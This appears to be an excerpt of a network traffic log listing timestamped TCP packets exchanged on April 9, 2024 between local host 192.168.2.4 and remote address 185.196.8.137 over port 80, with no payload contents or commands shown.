Apr 9, 2024 14:54:04.751703024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751773119 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751789093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751842022 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.751847982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751931906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.751979113 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.751988888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752005100 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752037048 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752058029 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752058983 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752074957 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752104998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752109051 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752126932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752145052 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752212048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752234936 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752249002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752252102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752264023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752279043 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752281904 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752294064 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752298117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752309084 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752322912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752330065 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752337933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752348900 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752351999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752367020 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752368927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752368927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752368927 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752382040 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752396107 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752397060 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752412081 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752418041 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752434015 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752451897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752485037 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752500057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752513885 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752515078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752523899 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752528906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752543926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752543926 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752543926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752559900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752574921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752588034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752588034 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752595901 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752609015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752619982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752619982 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752624035 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752640009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752646923 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752654076 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752654076 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752667904 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752679110 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752682924 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752697945 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752701044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752701044 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752712011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752727032 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752731085 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752742052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752749920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752749920 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752768040 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752773046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752788067 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752789974 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752803087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752815962 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752818108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752831936 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752837896 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752846956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752857924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752861023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752876043 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752880096 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752890110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752893925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752904892 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752921104 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752934933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752948999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752959967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752959967 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752963066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752978086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.752990961 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.752993107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753009081 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753010035 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.753024101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753027916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.753027916 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.753038883 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753050089 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.753053904 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753070116 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753086090 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753099918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753114939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753129005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753140926 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.753144026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753159046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753175020 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753190041 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753205061 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753226995 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753242016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.753242016 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753257990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753273010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753288031 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753303051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753317118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753331900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753345966 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753360033 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753375053 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753390074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753403902 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753418922 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753433943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753493071 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753524065 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753566980 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753611088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753808975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753839016 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753910065 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.753997087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754013062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754127026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754143000 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754194975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754209995 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754283905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754298925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754348993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754405975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754487038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754503012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754542112 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754622936 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754789114 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754803896 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754818916 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754833937 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754878998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754952908 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.754968882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755052090 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755084038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755148888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755229950 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755319118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755335093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755348921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755402088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755489111 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755541086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755667925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755740881 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755803108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755897045 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.755973101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756021023 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756156921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756172895 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756187916 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756201982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756258965 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756396055 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756495953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756510973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756525993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756681919 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756761074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756774902 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.756856918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757004976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757052898 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757102966 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757153988 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757230997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757333040 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757385015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757447958 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757463932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757556915 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757572889 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757586956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757633924 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757744074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.757972002 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.758208990 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.758445978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.758557081 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.758723974 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.761694908 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.761712074 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.761821985 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.761929989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762208939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762223959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762248993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762293100 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762307882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762352943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762368917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762383938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762398958 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762413025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762471914 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762485981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762500048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762514114 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762559891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762573957 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762588978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762603998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762619019 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762634039 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762648106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762662888 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762676954 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762691975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762706041 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762720108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762739897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762754917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762768030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762783051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762835026 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762849092 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762888908 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762904882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762949944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762964964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762979984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.762995005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763009071 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763039112 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763120890 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763135910 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763176918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763191938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763221025 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763236046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763251066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763266087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763298988 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763314009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763328075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763355017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763370037 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763402939 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763417959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763467073 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763503075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763519049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763549089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763564110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763577938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763608932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763624907 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763689041 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763705015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763721943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763737917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763751984 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763767004 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763793945 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763804913 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763817072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763833046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763847113 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763854027 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763863087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763880014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763880014 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763895988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763895988 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763911963 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763922930 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763926029 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763941050 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.763943911 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763967037 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763983011 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.763991117 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764014959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764031887 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764069080 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764072895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764072895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764072895 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764086008 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764101028 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764120102 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764127016 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764144897 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764148951 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764167070 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764182091 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764189959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764189959 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764211893 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764214039 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764229059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764252901 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.764305115 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764405012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764512062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764585972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764638901 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764714956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.764925957 CEST	80	49740	185.196.8.137	192.168.2.4
